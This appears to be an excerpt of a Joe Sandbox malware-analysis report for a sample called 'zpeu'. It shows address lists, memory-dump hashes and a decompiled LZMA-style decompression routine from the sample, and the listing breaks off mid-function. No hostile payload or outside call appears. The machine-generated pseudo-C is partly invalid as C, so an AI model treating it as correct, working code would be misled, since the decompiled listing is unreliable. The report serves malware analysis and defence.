                                      0x00407007
                                      0x00406fd9
                                      0x00406fd9
                                      0x00406fe8
                                      0x00406fec
                                      0x00406fec
                                      0x00407011
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406956
                                      0x00406958
                                      0x0040695b
                                      0x004069cc
                                      0x004069cf
                                      0x004069d2
                                      0x004069d9
                                      0x004069e3
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406fc2
                                      0x0040695d
                                      0x00406961
                                      0x00406964
                                      0x00406966
                                      0x00406969
                                      0x0040696c
                                      0x0040696e
                                      0x00406971
                                      0x00406973
                                      0x00406978
                                      0x0040697b
                                      0x0040697e
                                      0x00406982
                                      0x00406989
                                      0x0040698c
                                      0x00406993
                                      0x00406997
                                      0x0040699f
                                      0x0040699f
                                      0x0040699f
                                      0x00406999
                                      0x00406999
                                      0x00406999
                                      0x0040698e
                                      0x0040698e
                                      0x0040698e
                                      0x004069a3
                                      0x004069a6
                                      0x004069c4
                                      0x004069c6
                                      0x00000000
                                      0x004069a8
                                      0x004069a8
                                      0x004069ab
                                      0x004069ae
                                      0x004069b1
                                      0x004069b3
                                      0x004069b3
                                      0x004069b3
                                      0x004069b6
                                      0x004069b9
                                      0x004069bb
                                      0x004069bc
                                      0x004069bf
                                      0x00000000
                                      0x004069bf
                                      0x00000000
                                      0x00406bf5
                                      0x00406bf9
                                      0x00406c17
                                      0x00406c1a
                                      0x00406c21
                                      0x00406c24
                                      0x00406c27
                                      0x00406c2a
                                      0x00406c2d
                                      0x00406c30
                                      0x00406c32
                                      0x00406c39
                                      0x00406c3a
                                      0x00406c3c
                                      0x00406c3f
                                      0x00406c42
                                      0x00406c45
                                      0x00406c45
                                      0x00406c4a
                                      0x00000000
                                      0x00406c4a
                                      0x00406bfb
                                      0x00406bfe
                                      0x00406c01
                                      0x00406c0b
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00000000
                                      0x00406c5f
                                      0x00406c63
                                      0x00406c86
                                      0x00406c89
                                      0x00406c8c
                                      0x00406c96
                                      0x00406c65
                                      0x00406c65
                                      0x00406c68
                                      0x00406c6b
                                      0x00406c6e
                                      0x00406c7b
                                      0x00406c7e
                                      0x00406c7e
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00000000
                                      0x00406ca2
                                      0x00406ca6
                                      0x00000000
                                      0x00000000
                                      0x00406cac
                                      0x00406cb0
                                      0x00000000
                                      0x00000000
                                      0x00406cb6
                                      0x00406cb8
                                      0x00406cbc
                                      0x00406cbc
                                      0x00406cbf
                                      0x00406cc3
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406d3a
                                      0x00406d3e
                                      0x00406d45
                                      0x00406d48
                                      0x00406d4b
                                      0x00406d40
                                      0x00406d40
                                      0x00406d40
                                      0x00406d4e
                                      0x00406d51
                                      0x00000000
                                      0x00000000
                                      0x00406dfa
                                      0x00406dfa
                                      0x00406dfe
                                      0x0040719c
                                      0x00000000
                                      0x0040719c
                                      0x00406e04
                                      0x00406e07
                                      0x00406e0a
                                      0x00406e0e
                                      0x00406e11
                                      0x00406e17
                                      0x00406e19
                                      0x00406e19
                                      0x00406e19
                                      0x00406e1c
                                      0x00406e1f
                                      0x00000000
                                      0x00000000
                                      0x004069ef
                                      0x004069ef
                                      0x004069f3
                                      0x00407160
                                      0x00000000
                                      0x00407160
                                      0x004069f9
                                      0x004069fc
                                      0x004069ff
                                      0x00406a03
                                      0x00406a06
                                      0x00406a0c
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a0e
                                      0x00406a11
                                      0x00406a14
                                      0x00406a14
                                      0x00406a17
                                      0x00406a1a
                                      0x00000000
                                      0x00000000
                                      0x00406a20
                                      0x00406a26
                                      0x00000000
                                      0x00000000
                                      0x00406a2c
                                      0x00406a2c
                                      0x00406a30
                                      0x00406a33
                                      0x00406a36
                                      0x00406a39
                                      0x00406a3c
                                      0x00406a3d
                                      0x00406a40
                                      0x00406a42
                                      0x00406a48
                                      0x00406a4b
                                      0x00406a4e
                                      0x00406a51
                                      0x00406a54
                                      0x00406a57
                                      0x00406a5a
                                      0x00406a76
                                      0x00406a79
                                      0x00406a7c
                                      0x00406a7f
                                      0x00406a86
                                      0x00406a8a
                                      0x00406a8c
                                      0x00406a90
                                      0x00406a5c
                                      0x00406a5c
                                      0x00406a60
                                      0x00406a68
                                      0x00406a6d
                                      0x00406a6f
                                      0x00406a71
                                      0x00406a71
                                      0x00406a93
                                      0x00406a9a
                                      0x00406a9d
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa3
                                      0x00000000
                                      0x00406aa8
                                      0x00406aa8
                                      0x00406aac
                                      0x0040716c
                                      0x00000000
                                      0x0040716c
                                      0x00406ab2
                                      0x00406ab5
                                      0x00406ab8
                                      0x00406abc
                                      0x00406abf
                                      0x00406ac5
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406ac7
                                      0x00406aca
                                      0x00406acd
                                      0x00406acd
                                      0x00406acd
                                      0x00406ad3
                                      0x00000000
                                      0x00000000
                                      0x00406ad5
                                      0x00406ad8
                                      0x00406adb
                                      0x00406ade
                                      0x00406ae1
                                      0x00406ae4
                                      0x00406ae7
                                      0x00406aea
                                      0x00406aed
                                      0x00406af0
                                      0x00406af3
                                      0x00406b0b
                                      0x00406b0e
                                      0x00406b11
                                      0x00406b14
                                      0x00406b14
                                      0x00406b17
                                      0x00406b1b
                                      0x00406b1d
                                      0x00406af5
                                      0x00406af5
                                      0x00406afd
                                      0x00406b02
                                      0x00406b04
                                      0x00406b06
                                      0x00406b06
                                      0x00406b20
                                      0x00406b27
                                      0x00406b2a
                                      0x00000000
                                      0x00406b2c
                                      0x00000000
                                      0x00406b2c
                                      0x00406b2a
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00406b31
                                      0x00000000
                                      0x00000000
                                      0x00406b6c
                                      0x00406b6c
                                      0x00406b70
                                      0x00407178
                                      0x00000000
                                      0x00407178
                                      0x00406b76
                                      0x00406b79
                                      0x00406b7c
                                      0x00406b80
                                      0x00406b83
                                      0x00406b89
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8b
                                      0x00406b8e
                                      0x00406b91
                                      0x00406b91
                                      0x00406b97
                                      0x00406b35
                                      0x00406b35
                                      0x00406b38
                                      0x00000000
                                      0x00406b38
                                      0x00406b99
                                      0x00406b99
                                      0x00406b9c
                                      0x00406b9f
                                      0x00406ba2
                                      0x00406ba5
                                      0x00406ba8
                                      0x00406bab
                                      0x00406bae
                                      0x00406bb1
                                      0x00406bb4
                                      0x00406bb7
                                      0x00406bcf
                                      0x00406bd2
                                      0x00406bd5
                                      0x00406bd8
                                      0x00406bd8
                                      0x00406bdb
                                      0x00406bdf
                                      0x00406be1
                                      0x00406bb9
                                      0x00406bb9
                                      0x00406bc1
                                      0x00406bc6
                                      0x00406bc8
                                      0x00406bca
                                      0x00406bca
                                      0x00406be4
                                      0x00406beb
                                      0x00406bee
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406bf0
                                      0x00000000
                                      0x00406e7d
                                      0x00406e7d
                                      0x00406e81
                                      0x004071a8
                                      0x00000000
                                      0x004071a8
                                      0x00406e87
                                      0x00406e8a
                                      0x00406e8d
                                      0x00406e91
                                      0x00406e94
                                      0x00406e9a
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9c
                                      0x00406e9f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00406f8c
                                      0x00406f90
                                      0x00406fb2
                                      0x00406fb5
                                      0x00406fbf
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406fc2
                                      0x00000000
                                      0x00406fc2
                                      0x00406fc2
                                      0x00406f92
                                      0x00406f95
                                      0x00406f99
                                      0x00406f9c
                                      0x00406f9c
                                      0x00406f9f
                                      0x00000000
                                      0x00000000
                                      0x00407049
                                      0x0040704d
                                      0x0040706b
                                      0x0040706b
                                      0x0040706b
                                      0x00407072
                                      0x00407079
                                      0x00407080
                                      0x00407080
                                      0x00000000
                                      0x00407080
                                      0x0040704f
                                      0x00407052
                                      0x00407055
                                      0x00407058
                                      0x0040705f
                                      0x00406fa3
                                      0x00406fa3
                                      0x00406fa6
                                      0x00000000
                                      0x00000000
                                      0x0040713a
                                      0x0040713d
                                      0x0040703e
                                      0x00000000
                                      0x00000000
                                      0x00406d74
                                      0x00406d76
                                      0x00406d7d
                                      0x00406d7e
                                      0x00406d80
                                      0x00406d83
                                      0x00000000
                                      0x00000000
                                      0x00406d8b
                                      0x00406d8e
                                      0x00406d91
                                      0x00406d93
                                      0x00406d95
                                      0x00406d95
                                      0x00406d96
                                      0x00406d99
                                      0x00406da0
                                      0x00406da3
                                      0x00406db1
                                      0x00000000
                                      0x00000000
                                      0x00407087
                                      0x00407087
                                      0x0040708a
                                      0x00407091
                                      0x00000000
                                      0x00000000
                                      0x00407096
                                      0x00407096
                                      0x0040709a
                                      0x004071d2
                                      0x00000000
                                      0x004071d2
                                      0x004070a0
                                      0x004070a3
                                      0x004070a6
                                      0x004070aa
                                      0x004070ad
                                      0x004070b3
                                      0x004070b5
                                      0x004070b5
                                      0x004070b5
                                      0x004070b8
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070bb
                                      0x004070be
                                      0x004070be
                                      0x004070c2
                                      0x00407122
                                      0x00407125
                                      0x0040712a
                                      0x0040712b
                                      0x0040712d
                                      0x0040712f
                                      0x00407132
                                      0x0040703e
                                      0x0040703e
                                      0x00000000
                                      0x00407044
                                      0x0040703e
                                      0x004070c4
                                      0x004070ca
                                      0x004070cd
                                      0x004070d0
                                      0x004070d3
                                      0x004070d6
                                      0x004070d9
                                      0x004070dc
                                      0x004070df
                                      0x004070e2
                                      0x004070e5
                                      0x004070fe
                                      0x00407101
                                      0x00407104
                                      0x00407107
                                      0x0040710b
                                      0x0040710d
                                      0x0040710d
                                      0x0040710e
                                      0x00407111
                                      0x004070e7
                                      0x004070e7
                                      0x004070ef
                                      0x004070f4
                                      0x004070f6
                                      0x004070f9
                                      0x004070f9
                                      0x00407114
                                      0x0040711b
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x0040711d
                                      0x00000000
                                      0x00406db9
                                      0x00406dbc
                                      0x00406df2
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f22
                                      0x00406f25
                                      0x00406f25
                                      0x00406f28
                                      0x00406f2a
                                      0x004071b4
                                      0x00000000
                                      0x004071b4
                                      0x00406f30
                                      0x00406f33
                                      0x00000000
                                      0x00000000
                                      0x00406f39
                                      0x00406f3d
                                      0x00406f40
                                      0x00406f40
                                      0x00406f40
                                      0x00000000
                                      0x00406f40
                                      0x00406dbe
                                      0x00406dc0
                                      0x00406dc2
                                      0x00406dc4
                                      0x00406dc7
                                      0x00406dc8
                                      0x00406dca
                                      0x00406dcc
                                      0x00406dcf
                                      0x00406dd2
                                      0x00406de8
                                      0x00406ded
                                      0x00406e25
                                      0x00406e25
                                      0x00406e29
                                      0x00406e55
                                      0x00406e57
                                      0x00406e5e
                                      0x00406e61
                                      0x00406e64
                                      0x00406e64
                                      0x00406e69
                                      0x00406e69
                                      0x00406e6b
                                      0x00406e6e
                                      0x00406e75
                                      0x00406e78
                                      0x00406ea5
                                      0x00406ea5
                                      0x00406ea8
                                      0x00406eab
                                      0x00406f1f
                                      0x00406f1f
                                      0x00406f1f
                                      0x00000000
                                      0x00406f1f
                                      0x00406ead
                                      0x00406eb3
                                      0x00406eb6
                                      0x00406eb9
                                      0x00406ebc
                                      0x00406ebf
                                      0x00406ec2
                                      0x00406ec5
                                      0x00406ec8
                                      0x00406ecb
                                      0x00406ece
                                      0x00406ee7
                                      0x00406ee9
                                      0x00406eec
                                      0x00406eed
                                      0x00406ef0
                                      0x00406ef2
                                      0x00406ef5
                                      0x00406ef7
                                      0x00406ef9
                                      0x00406efc
                                      0x00406efe
                                      0x00406f01
                                      0x00406f05
                                      0x00406f07
                                      0x00406f07
                                      0x00406f08
                                      0x00406f0b
                                      0x00406f0e
                                      0x00406ed0
                                      0x00406ed0
                                      0x00406ed8
                                      0x00406edd
                                      0x00406edf
                                      0x00406ee2
                                      0x00406ee2
                                      0x00406f11
                                      0x00406f18
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00406ea2
                                      0x00000000
                                      0x00406f1a
                                      0x00000000
                                      0x00406f1a
                                      0x00406f18
                                      0x00406e2b
                                      0x00406e2e
                                      0x00406e30
                                      0x00406e33
                                      0x00406e36
                                      0x00406e39
                                      0x00406e3b
                                      0x00406e3e
                                      0x00406e41
                                      0x00406e41
                                      0x00406e44
                                      0x00406e44
                                      0x00406e47
                                      0x00406e4e
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00406e22
                                      0x00000000
                                      0x00406e50
                                      0x00000000
                                      0x00406e50
                                      0x00406e4e
                                      0x00406dd4
                                      0x00406dd7
                                      0x00406dd9
                                      0x00406ddc
                                      0x00000000
                                      0x00000000
                                      0x00406b3b
                                      0x00406b3b
                                      0x00406b3f
                                      0x00407184
                                      0x00000000
                                      0x00407184
                                      0x00406b45
                                      0x00406b48
                                      0x00406b4b
                                      0x00406b4e
                                      0x00406b51
                                      0x00406b54
                                      0x00406b57
                                      0x00406b59
                                      0x00406b5c
                                      0x00406b5f
                                      0x00406b62
                                      0x00406b64
                                      0x00406b64
                                      0x00406b64
                                      0x00000000
                                      0x00000000
                                      0x00406cc6
                                      0x00406cc6
                                      0x00406cca
                                      0x00407190
                                      0x00000000
                                      0x00407190
                                      0x00406cd0
                                      0x00406cd3
                                      0x00406cd6
                                      0x00406cd9
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cdb
                                      0x00406cde
                                      0x00406ce1
                                      0x00406ce4
                                      0x00406ce7
                                      0x00406cea
                                      0x00406ced
                                      0x00406cee
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf0
                                      0x00406cf3
                                      0x00406cf6
                                      0x00406cf9
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cfc
                                      0x00406cff
                                      0x00406d01
                                      0x00406d01
                                      0x00000000
                                      0x00000000
                                      0x00406f43
                                      0x00406f43
                                      0x00406f43
                                      0x00406f47
                                      0x00000000
                                      0x00000000
                                      0x00406f4d
                                      0x00406f50
                                      0x00406f53
                                      0x00406f56
                                      0x00406f58
                                      0x00406f58
                                      0x00406f58
                                      0x00406f5b
                                      0x00406f5e
                                      0x00406f61
                                      0x00406f64
                                      0x00406f67
                                      0x00406f6a
                                      0x00406f6b
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f6d
                                      0x00406f70
                                      0x00406f73
                                      0x00406f76
                                      0x00406f79
                                      0x00406f7c
                                      0x00406f80
                                      0x00406f82
                                      0x00406f85
                                      0x00000000
                                      0x00406f87
                                      0x00406d04
                                      0x00406d04
                                      0x00000000
                                      0x00406d04
                                      0x00406f85
                                      0x004071ba
                                      0x00000000
                                      0x00000000
                                      0x004067e9
                                      0x004071f1
                                      0x004071f1
                                      0x00000000
                                      0x004071f1
                                      0x0040703e
                                      0x00406fc5
                                      0x00406fc2
                                      0x00000000
                                      0x00406d17

                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b6213b912aa4c06ba450cadc729dd6194a23a0bdabbae65cbac8743ad0304bd8
                                      • Instruction ID: 95b660950287b107d15ca963a4456fab735294b344fdd2f3256912a70e30144d
                                      • Opcode Fuzzy Hash: b6213b912aa4c06ba450cadc729dd6194a23a0bdabbae65cbac8743ad0304bd8
                                      • Instruction Fuzzy Hash: A4713371E04228DBDF28CF98C844BADBBB1FF44305F15806AD856BB280C7789996DF45
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 98%
                                      			E00406C5F() {
                                      				unsigned short _t531;
                                      				signed int _t532;
                                      				void _t533;
                                      				signed int _t534;
                                      				signed int _t535;
                                      				signed int _t565;
                                      				signed int _t568;
                                      				signed int _t589;
                                      				signed int* _t606;
                                      				void* _t613;
                                      
                                      				L0:
                                      				while(1) {
                                      					L0:
                                      					if( *(_t613 - 0x40) != 0) {
                                      						 *(_t613 - 0x84) = 0xa;
                                      						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
                                      					} else {
                                      						 *(__ebp - 0x84) = 9;
                                      						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      					}
                                      					while(1) {
                                      						 *(_t613 - 0x54) = _t606;
                                      						while(1) {
                                      							L133:
                                      							_t531 =  *_t606;
                                      							_t589 = _t531 & 0x0000ffff;
                                      							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                      							if( *(_t613 - 0xc) >= _t565) {
                                      								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                      								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                      								 *(_t613 - 0x40) = 1;
                                      								_t532 = _t531 - (_t531 >> 5);
                                      								 *_t606 = _t532;
                                      							} else {
                                      								 *(_t613 - 0x10) = _t565;
                                      								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      								 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                      							}
                                      							if( *(_t613 - 0x10) >= 0x1000000) {
                                      								goto L139;
                                      							}
                                      							L137:
                                      							if( *(_t613 - 0x6c) == 0) {
                                      								 *(_t613 - 0x88) = 5;
                                      								L170:
                                      								_t568 = 0x22;
                                      								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                      								_t535 = 0;
                                      								L172:
                                      								return _t535;
                                      							}
                                      							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                      							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                      							L139:
                                      							_t533 =  *(_t613 - 0x84);
                                      							while(1) {
                                      								 *(_t613 - 0x88) = _t533;
                                      								while(1) {
                                      									L1:
                                      									_t534 =  *(_t613 - 0x88);
                                      									if(_t534 > 0x1c) {
                                      										break;
                                      									}
                                      									switch( *((intOrPtr*)(_t534 * 4 +  &M004071F9))) {
                                      										case 0:
                                      											if( *(_t613 - 0x6c) == 0) {
                                      												goto L170;
                                      											}
                                      											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      											_t534 =  *( *(_t613 - 0x70));
                                      											if(_t534 > 0xe1) {
                                      												goto L171;
                                      											}
                                      											_t538 = _t534 & 0x000000ff;
                                      											_push(0x2d);
                                      											asm("cdq");
                                      											_pop(_t570);
                                      											_push(9);
                                      											_pop(_t571);
                                      											_t609 = _t538 / _t570;
                                      											_t540 = _t538 % _t570 & 0x000000ff;
                                      											asm("cdq");
                                      											_t604 = _t540 % _t571 & 0x000000ff;
                                      											 *(_t613 - 0x3c) = _t604;
                                      											 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                      											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                      											_t612 = (0x300 << _t604 + _t609) + 0x736;
                                      											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                      												L10:
                                      												if(_t612 == 0) {
                                      													L12:
                                      													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                      													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      													goto L15;
                                      												} else {
                                      													goto L11;
                                      												}
                                      												do {
                                      													L11:
                                      													_t612 = _t612 - 1;
                                      													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                      												} while (_t612 != 0);
                                      												goto L12;
                                      											}
                                      											if( *(_t613 - 4) != 0) {
                                      												GlobalFree( *(_t613 - 4)); // executed
                                      											}
                                      											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                      											 *(_t613 - 4) = _t534;
                                      											if(_t534 == 0) {
                                      												goto L171;
                                      											} else {
                                      												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                      												goto L10;
                                      											}
                                      										case 1:
                                      											L13:
                                      											__eflags =  *(_t613 - 0x6c);
                                      											if( *(_t613 - 0x6c) == 0) {
                                      												 *(_t613 - 0x88) = 1;
                                      												goto L170;
                                      											}
                                      											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                      											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                      											_t45 = _t613 - 0x48;
                                      											 *_t45 =  *(_t613 - 0x48) + 1;
                                      											__eflags =  *_t45;
                                      											L15:
                                      											if( *(_t613 - 0x48) < 4) {
                                      												goto L13;
                                      											}
                                      											_t546 =  *(_t613 - 0x40);
                                      											if(_t546 ==  *(_t613 - 0x74)) {
                                      												L20:
                                      												 *(_t613 - 0x48) = 5;
                                      												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                      												goto L23;
                                      											}
                                      											 *(_t613 - 0x74) = _t546;
                                      											if( *(_t613 - 8) != 0) {
                                      												GlobalFree( *(_t613 - 8)); // executed
                                      											}
                                      											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                      											 *(_t613 - 8) = _t534;
                                      											if(_t534 == 0) {
                                      												goto L171;
                                      											} else {
                                      												goto L20;
                                      											}
                                      										case 2:
                                      											L24:
                                      											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                      											 *(_t613 - 0x84) = 6;
                                      											 *(_t613 - 0x4c) = _t553;
                                      											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                      											 *(_t613 - 0x54) = _t606;
                                      											goto L133;
                                      										case 3:
                                      											L21:
                                      											__eflags =  *(_t613 - 0x6c);
                                      											if( *(_t613 - 0x6c) == 0) {
                                      												 *(_t613 - 0x88) = 3;
                                      												goto L170;
                                      											}
                                      											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                      											_t67 = _t613 - 0x70;
                                      											 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                      											__eflags =  *_t67;
                                      											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                      											L23:
                                      											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                      											if( *(_t613 - 0x48) != 0) {
                                      												goto L21;
                                      											}
                                      											goto L24;
                                      										case 4:
                                      											L133:
                                      											_t531 =  *_t606;
                                      											_t589 = _t531 & 0x0000ffff;
                                      											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                      											if( *(_t613 - 0xc) >= _t565) {
                                      												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                      												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                      												 *(_t613 - 0x40) = 1;
                                      												_t532 = _t531 - (_t531 >> 5);
                                      												 *_t606 = _t532;
                                      											} else {
                                      												 *(_t613 - 0x10) = _t565;
                                      												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                      												 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                      											}
                                      											if( *(_t613 - 0x10) >= 0x1000000) {
                                      												goto L139;
                                      											}
                                      										case 5:
                                      											goto L137;
                                      										case 6:
                                      											__edx = 0;
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x34) = 1;
                                      												 *(__ebp - 0x84) = 7;
                                      												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                      												while(1) {
                                      													 *(_t613 - 0x54) = _t606;
                                      													goto L133;
                                      												}
                                      											}
                                      											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                      											__esi =  *(__ebp - 0x60);
                                      											__cl = 8;
                                      											__cl = 8 -  *(__ebp - 0x3c);
                                      											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      											__ecx =  *(__ebp - 0x3c);
                                      											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      											__ecx =  *(__ebp - 4);
                                      											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                      											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      											__eflags =  *(__ebp - 0x38) - 4;
                                      											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      											if( *(__ebp - 0x38) >= 4) {
                                      												__eflags =  *(__ebp - 0x38) - 0xa;
                                      												if( *(__ebp - 0x38) >= 0xa) {
                                      													_t98 = __ebp - 0x38;
                                      													 *_t98 =  *(__ebp - 0x38) - 6;
                                      													__eflags =  *_t98;
                                      												} else {
                                      													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      												}
                                      											} else {
                                      												 *(__ebp - 0x38) = 0;
                                      											}
                                      											__eflags =  *(__ebp - 0x34) - __edx;
                                      											if( *(__ebp - 0x34) == __edx) {
                                      												__ebx = 0;
                                      												__ebx = 1;
                                      												goto L61;
                                      											} else {
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__ecx =  *(__ebp - 8);
                                      												__ebx = 0;
                                      												__ebx = 1;
                                      												__al =  *((intOrPtr*)(__eax + __ecx));
                                      												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      												goto L41;
                                      											}
                                      										case 7:
                                      											__eflags =  *(__ebp - 0x40) - 1;
                                      											if( *(__ebp - 0x40) != 1) {
                                      												__eax =  *(__ebp - 0x24);
                                      												 *(__ebp - 0x80) = 0x16;
                                      												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      												__eax =  *(__ebp - 0x28);
                                      												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      												__eax =  *(__ebp - 0x2c);
